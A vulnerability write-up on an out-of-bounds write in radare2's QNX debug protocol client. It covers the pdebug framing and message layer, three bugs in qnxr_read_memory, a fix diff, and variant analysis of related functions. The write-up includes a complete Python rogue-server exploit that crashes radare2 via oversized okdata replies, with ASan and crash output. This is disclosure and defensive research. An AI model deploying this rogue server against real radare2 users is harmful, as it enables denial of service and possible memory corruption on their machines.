Found an out-of-bounds write in radare2’s QNX remote debug protocol client. A malicious QNX debug server can send oversized responses that write past the caller’s buffer, crashing r2 (DoS) with potential for code execution. Three bugs in one function, all in shlr/qnx/src/core.c.

I filed the issue and PR as “Heap Buffer Overflow” because the primary trigger path (px 16 -> io_qnx.c -> qnxr_read_memory) overflows a heap-allocated IO buffer. But more precisely this is an OOB write the memcpy writes past the bounds of whatever buffer the caller provides. The overflow surface depends on the call path: heap via the IO plugin, stack via qnxr_read_registers() (which has a local char buf[1024]), and into the tran union (heap, inside libqnxr_t) via the write-side variants. Same root cause, different corruption targets.

Affected: radare2 ≤ 6.1.3

pdebug Protocol

Before we get into the bug, you need to understand how radare2 talks to QNX targets. QNX Neutrino has a built-in remote debug agent called pdebug. It listens on a TCP port (default 8000) and speaks a custom binary protocol. When you do r2 -N qnx://host:port/pid, radare2’s IO plugin (io_qnx.c) connects to this server and uses the protocol to read/write memory, read/write registers, set breakpoints, step, continue standard debugger operations.

The protocol has two layers: a framing layer and a message layer.

Framing

Every packet on the wire is wrapped in HDLC-style framing. The frame delimiter is 0x7e, and 0x7d is the escape character. If a payload byte happens to be 0x7e or 0x7d, it gets escaped as 0x7d followed by the byte XOR’d with 0x20. An 8-bit checksum is appended before framing.

Wire format:
  7e [escaped payload] [escaped checksum] 7e

Checksum = (sum of all payload bytes) XOR 0xff

Here’s how radare2 frames a packet for transmission (shlr/qnx/src/packet.c):

int qnxr_send_packet (libqnxr_t *g) {
    int i;
    ut8 csum = 0;
    char *p;

    p = g->send_buff;
    *p++ = FRAME_CHAR;

    for (i = 0; i < g->send_len; i++) {
        ut8 c = g->tran.data[i];
        csum += c;

        switch (c) {
        case FRAME_CHAR:
        case ESC_CHAR:
            *p++ = ESC_CHAR;
            c ^= 0x20;
            break;
        }
        *p++ = c;
    }

    csum ^= 0xff;
    switch (csum) {
    case FRAME_CHAR:
    case ESC_CHAR:
        *p++ = ESC_CHAR;
        csum ^= 0x20;
        break;
    }
    *p++ = csum;
    *p++ = FRAME_CHAR;

    // ...
    return r_socket_write (g->sock, g->send_buff, p - g->send_buff);
}

On the receive side, unpack() reverses the process strips frame delimiters, unescapes, validates the checksum:

static int unpack (libqnxr_t *g) {
    ut8 modifier = 0;
    ut8 sum = 0xff;

    for (; g->read_ptr < g->read_len; g->read_ptr++) {
        char cur = g->read_buff[g->read_ptr];
        switch (cur) {
        case ESC_CHAR:
            modifier = 0x20;
            continue;
        case FRAME_CHAR:
            if (g->data_len == 0)
                continue;
            if (sum != 0x00) {
                eprintf ("%s: Checksum error\n", __func__);
                return -1;
            }
            g->read_ptr++;
            return 0;
        default:
            cur ^= modifier;
            sum -= cur;
            append (g, cur);
        }
        modifier = 0;
    }
    return 1;
}

The append() function writes into g->recv.data[], which is a DS_DATA_MAX_SIZE (1024) byte buffer. Note the bounds check:

static int append (libqnxr_t *g, char ch) {
    if (g->data_len == DS_DATA_MAX_SIZE + 16) {
        eprintf ("%s: data too long\n", __func__);
        return -1;
    }
    g->recv.data[g->data_len++] = ch;
    return 0;
}

So the framing layer caps received data at 1040 bytes (1024 + 16 for header overhead). This is important later.

Channels

Before sending debug messages, the client sets a “channel” by sending a single-byte packet. There are three channels:

Byte Channel Purpose
0x00 Reset Reset the connection state
0x01 Debug Debug service messages (DS prefix)
0x02 Text Text/console output (TS prefix)
0xff NAK Negative acknowledgment

A channel set packet looks like: 7e [channel_byte] [checksum] 7e. For example, the debug channel packet is 7e 01 fe 7e (0x01 + 0xfe = 0xff, valid checksum).

radare2 tracks the current channel on both sides (g->channelrd, g->channelwr) and only sends a channel switch when needed.

Messages

Once on the debug channel, every packet carries a DShdr header:

struct DShdr {
    ut8 cmd;
    ut8 subcmd;
    ut8 mid;
    ut8 channel;
};

The mid field is a sequence number that increments with each request. The server echoes it back in the response so the client can match request/reply pairs. radare2’s nto_send() function loops until it gets a response with a matching mid:

int nto_send (libqnxr_t *g, ut32 len, st32 report_errors) {
    int rlen;
    ut8 tries = 0;

    g->send_len = len;
    for (tries = 0;; tries++) {
        if (tries >= MAX_TRAN_TRIES) {
            return -1;
        }
        qnxr_send_packet (g);
        for (;;) {
            rlen = qnxr_read_packet (g);
            if ((g->channelrd != SET_CHANNEL_TEXT) || (rlen == -1))
                break;
        }
        if (rlen == -1) {
            continue;
        }
        if ((rlen >= 0) && (g->recv.pkt.hdr.mid == g->tran.pkt.hdr.mid))
            break;
    }
    // ...
    return rlen;
}

nto_send() returns the raw packet length from qnxr_read_packet(). This is the total number of bytes in the unframed payload (header + data), minus the checksum byte. The caller is responsible for subtracting the header size to get the actual data length. Remember this it’s central to the bug.

Message Types

The protocol defines ~28 message types. Client-to-server messages use DStMsg_* prefixes, server responses use DSrMsg_*:

enum {
    DStMsg_connect,      //  0
    DStMsg_disconnect,   //  1
    DStMsg_select,       //  2
    DStMsg_mapinfo,      //  3
    DStMsg_load,         //  4
    DStMsg_attach,       //  5
    DStMsg_detach,       //  6
    DStMsg_kill,         //  7
    DStMsg_stop,         //  8
    DStMsg_memrd,        //  9
    DStMsg_memwr,        // 10
    DStMsg_regrd,        // 11
    DStMsg_regwr,        // 12
    DStMsg_run,          // 13
    DStMsg_brk,          // 14
    // ...

    DSrMsg_err = 32,     // 0x20
    DSrMsg_ok,           // 0x21
    DSrMsg_okstatus,     // 0x22
    DSrMsg_okdata,       // 0x23

    DShMsg_notify = 64   // 0x40
};

The four response types are what matter for exploitation:

Response Struct Payload
DSrMsg_err (0x20) { DShdr hdr; st32 err; } 4-byte errno
DSrMsg_ok (0x21) { DShdr hdr; } None
DSrMsg_okstatus (0x22) { DShdr hdr; st32 status; } 4-byte status
DSrMsg_okdata (0x23) { DShdr hdr; ut8 data[1024]; } Up to 1024 bytes

The okdata response is the one that carries memory contents, register dumps, and other bulk data. Its data field is DS_DATA_MAX_SIZE = 1024 bytes. The server can fill all 1024 bytes regardless of how many the client asked for.

Data Structures

Here’s how radare2 represents all of this in memory. The main connection object:

typedef struct libqnxr_t {
    char *read_buff;
    char *send_buff;
    ssize_t send_len;
    ssize_t read_len;
    ssize_t read_ptr;
    RSocket *sock;
    char host[256];
    int port;
    int connected;
    ut8 mid;
    union {
        ut8 data[DS_DATA_MAX_SIZE];
        DSMsg_union_t pkt;
    } tran, recv;
    ssize_t data_len;
    ut8 architecture;
    registers_t *registers;
    int channelrd;
    int channelwr;
    // ...
} libqnxr_t;

The tran and recv fields are unions you can access the same memory either as raw bytes (data[1024]) or as typed protocol messages (pkt.memrd, pkt.okdata, etc.). The DSMsg_union_t is a union of every possible message type:

typedef union {
    struct DShdr hdr;
    DStMsg_connect_t connect;
    DStMsg_memrd_t memrd;
    DStMsg_memwr_t memwr;
    DStMsg_regrd_t regrd;
    DStMsg_regwr_t regwr;
    // ...
    DSrMsg_ok_t ok;
    DSrMsg_okstatus_t okstatus;
    DSrMsg_okdata_t okdata;
} DSMsg_union_t;

The memory read request and response:

typedef struct {
    struct DShdr hdr;
    ut32 spare0;
    ut64 addr;
    ut16 size;
} DStMsg_memrd_t;

typedef struct {
    struct DShdr hdr;
    ut8 data[DS_DATA_MAX_SIZE];
} DSrMsg_okdata_t;

The memory write request (relevant for the second bug):

typedef struct {
    struct DShdr hdr;
    ut32 spare0;
    ut64 addr;
    ut8 data[DS_DATA_MAX_SIZE];
} DStMsg_memwr_t;

Handshake

When r2 connects to a QNX target, the handshake goes like this:

int qnxr_connect(libqnxr_t *g, const char *host, int port) {
    r_socket_connect_tcp (g->sock, host, tmp, 200);

    qnxr_send_ch_reset (g);

    nto_send_init (g, DStMsg_connect, 0, SET_CHANNEL_DEBUG);
    g->tran.pkt.connect.major = HOST_QNX_PROTOVER_MAJOR;
    g->tran.pkt.connect.minor = HOST_QNX_PROTOVER_MINOR;
    nto_send (g, sizeof (g->tran.pkt.connect), 0);

    nto_send_init (g, DStMsg_protover, 0, SET_CHANNEL_DEBUG);
    g->tran.pkt.protover.major = HOST_QNX_PROTOVER_MAJOR;
    g->tran.pkt.protover.minor = HOST_QNX_PROTOVER_MINOR;
    nto_send (g, sizeof (g->tran.pkt.protover), 0);
}

TCP connect, channel reset, then DStMsg_connect with protocol version (expects DSrMsg_ok), then DStMsg_protover to query the server’s version (expects DSrMsg_okstatus).

After connecting, the debug plugin attaches:

qnxr_set_architecture (&g->desc, X86_32);
qnxr_attach (pd->desc, pid);

Then when you run a command like px 16, the IO plugin calls debug_qnx_read_at():

static int debug_qnx_read_at(RIOQnx *rioq, ut8 *buf, int sz, ut64 addr) {
    ut32 size_max = 500;
    ut32 packets = sz / size_max;
    ut32 last = sz % size_max;
    ut32 x;
    // ...
    for (x = 0; x < packets; x++) {
        qnxr_read_memory (&rioq->desc, addr + x * size_max,
                          (buf + x * size_max), size_max);
    }
    if (last) {
        qnxr_read_memory (&rioq->desc, addr + x * size_max,
                          (buf + x * size_max), last);
    }
    return sz;
}

For px 16, sz = 16, packets = 0, last = 16. So it calls qnxr_read_memory() once with len = 16. The data buffer passed in is a 16-byte region inside a larger IO buffer. This is where the overflow happens.

qnxr_read_memory

Here’s qnxr_read_memory before the fix:

int qnxr_read_memory (libqnxr_t *g, ut64 address, ut8 *data, ut64 len) {
    int rcv_len, tot_len, ask_len;
    ut64 addr;

    if (!g || !data) return -1;

    tot_len = rcv_len = ask_len = 0;

    do {
        nto_send_init (g, DStMsg_memrd, 0, SET_CHANNEL_DEBUG);
        addr = address + tot_len;
        g->tran.pkt.memrd.addr = EXTRACT_UNSIGNED_INTEGER (&addr, 8);
        ask_len = ((len - tot_len) > DS_DATA_MAX_SIZE) ?
                  DS_DATA_MAX_SIZE :
                  (len - tot_len);

        g->tran.pkt.memrd.size = EXTRACT_SIGNED_INTEGER (&ask_len, 2);
        rcv_len = nto_send (g, sizeof (g->tran.pkt.memrd), 0) -
              sizeof (g->recv.pkt.hdr);                          // [A]
        if (rcv_len <= 0) break;
        if (g->recv.pkt.hdr.cmd == DSrMsg_okdata) {
            memcpy (data + tot_len, g->recv.pkt.okdata.data,
                    rcv_len);                                    // [B]
            tot_len += rcv_len;                                  // [C]
        } else
            break;
    } while (tot_len != len);                                    // [D]

    return tot_len;
}

Let’s trace through what happens when px 16 triggers a read with len = 16 and a malicious server responds with 1024 bytes.

Bug 1: Unclamped memcpy length [B]

At [A], rcv_len is computed as the total response packet size minus the 4-byte header. The client asked for 16 bytes (ask_len = 16), but the server can respond with a full DSrMsg_okdata containing 1024 bytes of data. The nto_send() return value reflects the actual received packet size, not the requested size.

So rcv_len = 1028 - 4 = 1024. the server’s okdata response contains 4 bytes of header + 1024 bytes of data + 1 byte checksum. qnxr_read_packet() returns data_len - 1 (stripping the checksum) = 1028. nto_send() passes that through. Then rcv_len = 1028 - sizeof(g->recv.pkt.hdr) = 1028 - 4 = 1024.

At [B], the memcpy copies 1024 bytes from g->recv.pkt.okdata.data into data + tot_len. But data points to a 16-byte buffer. We just wrote 1024 bytes into a 16-byte buffer. That’s 1008 bytes of overflow.

data buffer (16 bytes):
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|<------------- 16 bytes valid ----------------->|
|<------------- 1024 bytes written by memcpy --------------------------------...-->|
                                                  |<--- 1008 bytes overflow ---...-->|

Bug 2: tot_len overshoot [C]

After the memcpy, tot_len += rcv_len makes tot_len = 1024. The buffer is already trashed, but now the internal state is corrupted too. tot_len (1024) is way past len (16).

Bug 3: Infinite loop via unsigned wrap [D]

The loop condition is tot_len != len that’s 1024 != 16, which is true. The loop continues.

On the next iteration, ask_len = (len - tot_len). But len is ut64 (unsigned 64-bit) and tot_len is int. The expression len - tot_len = 16 - 1024. Since len is unsigned, this wraps to 0xFFFFFFFFFFFFFC10 a massive number. The ternary clamps it to DS_DATA_MAX_SIZE (1024), so the client asks for another 1024 bytes.

The server sends another 1024-byte response. Another memcpy of 1024 bytes at data + 1024. Then tot_len = 2048. Still not equal to 16. Loop again. data + 2048. Loop again. data + 3072. Forever.

One bad response turns into infinite unbounded writes at incrementing offsets. The process will keep writing 1024-byte chunks until it hits an unmapped page and segfaults, or until the server stops responding.

Iteration 1: memcpy(data + 0,    ..., 1024)   -> overflow, tot_len = 1024
Iteration 2: memcpy(data + 1024, ..., 1024)   -> tot_len = 2048
Iteration 3: memcpy(data + 2048, ..., 1024)   -> tot_len = 3072
...
Iteration N: memcpy(data + N*1024, ..., 1024)  -> SIGSEGV (unmapped page)

The != vs < distinction is the difference between “one overflow then stop” and “infinite overwrites until crash.” If the condition were tot_len < len, the loop would exit immediately after the first overflow since 1024 < 16 is false.

PoC

To trigger this, we need a fake QNX debug server that:

  1. Completes the handshake normally (connect, protover, select, attach, stop)
  2. Responds to memory read requests with oversized okdata packets

The protocol is straightforward to implement. Each packet needs proper HDLC framing with escape sequences and checksum. Let’s build it.

Framing

F = 0x7e  # frame delimiter
E = 0x7d  # escape character

def esc(d):
    o = bytearray()
    for b in d:
        if b in (F, E):
            o += bytes([E, b ^ 0x20])
        else:
            o.append(b)
    return o

def frame(p):
    return bytes([F]) + esc(p) + esc(bytes([(sum(p) ^ 0xff) & 0xff])) + bytes([F])

def unframe(raw):
    pkts, i = [], 0
    while i < len(raw):
        if raw[i] != F:
            i += 1; continue
        i += 1
        buf = bytearray()
        while i < len(raw):
            if raw[i] == F:
                i += 1
                if buf: break
                continue
            buf.append(raw[i]); i += 1
        if not buf: continue
        out, j = bytearray(), 0
        while j < len(buf):
            if buf[j] == E and j + 1 < len(buf):
                out.append(buf[j+1] ^ 0x20); j += 2
            else:
                out.append(buf[j]); j += 1
        if len(out) >= 2:
            pkts.append(bytes(out[:-1]))
    return pkts

Message Construction

The header is 4 bytes: cmd, subcmd, mid, channel. The mid must match the request’s mid for nto_send() to accept the response.

R_OK   = 0x21
R_OKST = 0x22
R_OKD  = 0x23

def hdr(cmd, mid):
    return struct.pack("BBBB", cmd, 0, mid, 1)

def ok(mid):
    return frame(hdr(R_OK, mid))

def okst(mid, v):
    return frame(hdr(R_OKST, mid) + struct.pack("<i", v))

def okdata(mid, d):
    return frame(hdr(R_OKD, mid) + d)

Handshake

The server needs to handle the connection sequence. Each request has a command byte at offset 0 and a mid at offset 2. We match on the command and echo back the mid:

C_CONN = 0x00
C_PVER = 0x17
C_SEL  = 0x02
C_ATT  = 0x05
C_STOP = 0x08
C_MRD  = 0x09
C_RRD  = 0x0b

The handshake flow from radare2’s perspective:

1. Channel reset    -> (single byte 0x00, we ignore it)
2. DStMsg_connect   -> DSrMsg_ok
3. DStMsg_protover  -> DSrMsg_ok
4. DStMsg_select    -> DSrMsg_ok
5. DStMsg_attach    -> DSrMsg_okstatus (with pid)
6. DStMsg_stop      -> DSrMsg_okstatus
7. DStMsg_regrd     -> DSrMsg_okdata (register contents)
8. DStMsg_memrd     -> DSrMsg_okdata (OVERFLOW HERE)

Exploit

#!/usr/bin/env python3
import sys, socket, struct, argparse

F = 0x7e
E = 0x7d

C_CONN, C_DISC, C_SEL = 0x00, 0x01, 0x02
C_ATT, C_STOP         = 0x05, 0x08
C_MRD, C_RRD          = 0x09, 0x0b
C_PVER                = 0x17
R_OK, R_OKST, R_OKD   = 0x21, 0x22, 0x23

MAXSZ = 1024


def esc(d):
    o = bytearray()
    for b in d:
        if b in (F, E):
            o += bytes([E, b ^ 0x20])
        else:
            o.append(b)
    return o


def frame(p):
    return bytes([F]) + esc(p) + esc(bytes([(sum(p) ^ 0xff) & 0xff])) + bytes([F])


def unframe(raw):
    pkts, i = [], 0
    while i < len(raw):
        if raw[i] != F:
            i += 1; continue
        i += 1
        buf = bytearray()
        while i < len(raw):
            if raw[i] == F:
                i += 1
                if buf: break
                continue
            buf.append(raw[i]); i += 1
        if not buf: continue
        out, j = bytearray(), 0
        while j < len(buf):
            if buf[j] == E and j + 1 < len(buf):
                out.append(buf[j+1] ^ 0x20); j += 2
            else:
                out.append(buf[j]); j += 1
        if len(out) >= 2:
            pkts.append(bytes(out[:-1]))
    return pkts


def hdr(cmd, mid):
    return struct.pack("BBBB", cmd, 0, mid, 1)


def ok(mid):       return frame(hdr(R_OK, mid))
def okst(mid, v):  return frame(hdr(R_OKST, mid) + struct.pack("<i", v))
def okdata(mid, d): return frame(hdr(R_OKD, mid) + d)


def handle(c):
    n = 0
    while True:
        raw = c.recv(4096)
        if not raw:
            break
        for pkt in unframe(raw):
            if len(pkt) < 4:
                continue
            cmd, sub, mid, ch = pkt[0], pkt[1], pkt[2], pkt[3]
            sys.stderr.write(f"  cmd=0x{cmd:02x} sub=0x{sub:02x} mid={mid}\n")

            if cmd == C_CONN:
                c.sendall(ok(mid))
            elif cmd == C_PVER:
                c.sendall(ok(mid))
            elif cmd == C_SEL:
                c.sendall(ok(mid))
            elif cmd == C_ATT:
                c.sendall(okst(mid, 0))
            elif cmd == C_STOP:
                c.sendall(okst(mid, 0))
            elif cmd == C_RRD:
                c.sendall(okdata(mid, b"\x00" * 48))
            elif cmd == C_MRD:
                payload = bytes([0x41] * MAXSZ)
                c.sendall(okdata(mid, payload))
                n += 1
                sys.stderr.write(f"  >>> overflow #{n} sent "
                                 f"(1024 bytes in okdata)\n")
            else:
                c.sendall(ok(mid))
    return n


def main():
    a = argparse.ArgumentParser()
    a.add_argument("--port", type=int, default=8000)
    a = a.parse_args()

    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", a.port))
    srv.listen(1)
    sys.stderr.write(f"[*] listening on :{a.port}\n")
    sys.stderr.write(f"[*] r2 -N qnx://127.0.0.1:{a.port}/1234\n")

    try:
        while True:
            c, addr = srv.accept()
            sys.stderr.write(f"[+] conn from {addr[0]}:{addr[1]}\n")
            n = handle(c)
            sys.stderr.write(f"[-] done, {n} overflows sent\n")
            c.close()
    except KeyboardInterrupt:
        srv.close()


if __name__ == "__main__":
    main()

Crash

# Terminal 1  start the rogue server
$ python3 exploit_qnx.py --port 8000
[*] listening on :8000
[*] r2 -N qnx://127.0.0.1:8000/1234

# Terminal 2  connect r2
$ r2 -N qnx://127.0.0.1:8000/1234 -qc "px 16"
Segmentation fault

The server output shows the handshake followed by the overflow:

[+] conn from 127.0.0.1:54321
  cmd=0x00 sub=0x00 mid=0     # DStMsg_connect
  cmd=0x17 sub=0x00 mid=1     # DStMsg_protover
  cmd=0x02 sub=0x00 mid=2     # DStMsg_select
  cmd=0x05 sub=0x00 mid=3     # DStMsg_attach
  cmd=0x08 sub=0x01 mid=4     # DStMsg_stop
  cmd=0x0b sub=0x00 mid=5     # DStMsg_regrd (general)
  cmd=0x0b sub=0x00 mid=6     # DStMsg_regrd (general)
  ...
  cmd=0x09 sub=0x00 mid=12    # DStMsg_memrd  HERE
  >>> overflow #1 sent (1024 bytes in okdata)
  cmd=0x09 sub=0x00 mid=13    # loop continues...
  >>> overflow #2 sent (1024 bytes in okdata)
[-] done, 2 overflows sent

ASan

Build r2 with AddressSanitizer to see the exact corruption:

$ CC=gcc CFLAGS="-fsanitize=address -g" ./configure
$ make -j$(nproc)
$ ./binr2/radare2 -N qnx://127.0.0.1:8000/1234 -qc "px 16"

==85346==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffffc30b4
WRITE of size 1024 at 0x7ffffffc30b4 thread T0
    #0 __interceptor_memcpy
    #1 qnxr_read_memory shlr/qnx/src/core.c:376
    #2 debug_qnx_read_at libr/io/p/io_qnx.c:41
    #3 __read libr/io/p/io_qnx.c:122

  [32, 36) 'b' (line 13) <== Memory access at offset 36 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow in __interceptor_memcpy

The call chain: __read() -> debug_qnx_read_at() -> qnxr_read_memory() -> memcpy() with rcv_len = 1024 into a buffer that’s only 16 bytes.

Fix

Two changes:

--- a/shlr/qnx/src/core.c
+++ b/shlr/qnx/src/core.c
@@ -373,10 +373,13 @@
                if (rcv_len <= 0) break;
                if (g->recv.pkt.hdr.cmd == DSrMsg_okdata) {
+                       int remaining = len - tot_len;
+                       if (rcv_len > remaining) {
+                               rcv_len = remaining;
+                       }
                        memcpy (data + tot_len, g->recv.pkt.okdata.data, rcv_len);
                        tot_len += rcv_len;
                } else
                        break;
-       } while (tot_len != len);
+       } while (tot_len < (int)len);

Clamp rcv_len: Before the memcpy, compute how many bytes remain in the destination buffer (len - tot_len). If the server sent more than that, truncate. This prevents the overflow regardless of what the server sends.

Fix the loop condition: Change != to <. Even if tot_len somehow overshoots len (shouldn’t happen with the clamp, but defense in depth), the loop terminates immediately instead of wrapping into an infinite write loop.

Variant Analysis

After merging the fix, pancake audited the rest of core.c and found the same pattern trusting a protocol-supplied or caller-supplied length as a memcpy size without clamping against the destination buffer in three more functions. Let’s walk through each one.

1. qnxr_read_registers() Server Length Trusted

int qnxr_read_registers(libqnxr_t *g) {
    int i = 0;
    int len, rlen, regset;
    int n = 0;
    ut32 off;
    char buf[DS_DATA_MAX_SIZE];

    while (g->registers[i].size > 0) {
        regset = i386nto_regset_id (i);
        len = i386nto_register_area (i, regset, &off);
        // ...
        nto_send_init (g, DStMsg_regrd, regset, SET_CHANNEL_DEBUG);
        g->tran.pkt.regrd.offset = EXTRACT_SIGNED_INTEGER (&off, 2);
        g->tran.pkt.regrd.size = EXTRACT_SIGNED_INTEGER (&len, 2);
        rlen = nto_send (g, sizeof (g->tran.pkt.regrd), 1);

        if (rlen > 0) {
            if (g->recv.pkt.hdr.cmd == DSrMsg_okdata) {
                memcpy (buf + g->registers[i].offset,
                    g->recv.pkt.okdata.data, len);       // [1]
                n += len;
            } else {
                memset (buf + g->registers[i].offset,
                    0, len);                              // [2]
            }
        }
        i++;
    }

    memcpy (g->recv.data, buf, n);                        // [3]
    return n;
}

Three issues:

[1] g->registers[i].offset + len is never checked against sizeof(buf) (1024). The register table for x86_32 has offsets up to 44 (ss register). For the current tables this is fine, but it’s fragile a different architecture with larger register sets could overflow buf. More importantly, rlen (the actual server response size) is never compared against len (the expected size). A malicious server can return a short or oversized okdata and the memcpy uses len (the expected size), not rlen (the actual size). If rlen < len, the memcpy reads stale data from g->recv.pkt.okdata.data an info leak.

[2] Same offset+len bounds issue on the memset path.

[3] n is an accumulated sum of all len values across all register sets. It’s never clamped against sizeof(g->recv.data) (1024). If the total register area exceeds 1024 bytes, this memcpy overflows g->recv.data.

2. qnxr_write_memory() Caller Length Unbounded

int qnxr_write_memory (libqnxr_t *g, ut64 address, const ut8 *data, ut64 len) {
    ut64 addr;

    if (!g || !data) return -1;

    nto_send_init (g, DStMsg_memwr, 0, SET_CHANNEL_DEBUG);
    addr = address;
    g->tran.pkt.memwr.addr = EXTRACT_UNSIGNED_INTEGER (&addr, 8);
    memcpy (g->tran.pkt.memwr.data, data, len);
    nto_send (g, offsetof (DStMsg_memwr_t, data) + len, 0);
    // ...
}

This is the symmetric write-side version of the read bug. g->tran.pkt.memwr.data is ut8[DS_DATA_MAX_SIZE] 1024 bytes. len is ut64 with no upper bound check. Any caller passing len > 1024 overruns the data field in the tran union, corrupting adjacent fields. Then nto_send() reads past send_buff (which is DS_DATA_MAX_SIZE * 2 = 2048 bytes) when framing the packet.

The IO plugin (io_qnx.c) chunks writes into 500-byte pieces, so in practice len won’t exceed 500 from that path. But qnxr_write_memory is a library function any caller can pass any length. No defensive check.

Compare with qnxr_read_memory, which loops and chunks reads into DS_DATA_MAX_SIZE pieces. The write side should do the same, or at minimum clamp len.

3. qnxr_write_register() No Absolute Cap

int qnxr_write_register (libqnxr_t *g, int index, char *value, int len) {
    int tdep_len, regset;
    ut32 off;

    regset = i386nto_regset_id (index);
    tdep_len = i386nto_register_area (index, regset, &off);
    if (len < 0 || tdep_len != len) {
        return -1;
    }

    nto_send_init (g, DStMsg_regwr, regset, SET_CHANNEL_DEBUG);
    g->tran.pkt.regwr.offset = EXTRACT_SIGNED_INTEGER (&off, 2);
    memcpy (g->tran.pkt.regwr.data, value, len);
    nto_send (g, offsetof (DStMsg_regwr_t, data) + len, 1);

    return 0;
}

The only validation is tdep_len != len the length must match what i386nto_register_area() returns for that register index. There’s no check that len <= sizeof(g->tran.pkt.regwr.data). The regwr.data field is ut8[DS_DATA_MAX_SIZE] (1024 bytes). For current x86/ARM register tables, individual register sizes are 4-12 bytes, so this is safe in practice. But if a future architecture adds a register area larger than 1024 bytes, or if i386nto_register_area() returns a corrupted value, the memcpy overflows.

Pattern

All four bugs share the same root cause: a memcpy where the length comes from an untrusted source (network protocol or function parameter) and is used without validating it against the destination buffer size.

memcpy(fixed_size_buffer, source, untrusted_length);

The != vs < thing is worth remembering too. If your loop accumulator can overshoot the target because the increment comes from untrusted input, != becomes an infinite loop. < is always safe. One character difference between “one overflow then stop” and “infinite overwrites until crash.”

The QNX debug protocol is also a decent target for protocol-aware fuzzing. Simple framing (HDLC with known delimiters), fixed-layout structs, and the server controls response sizes. A mutational fuzzer that varies the okdata payload size would have caught this immediately.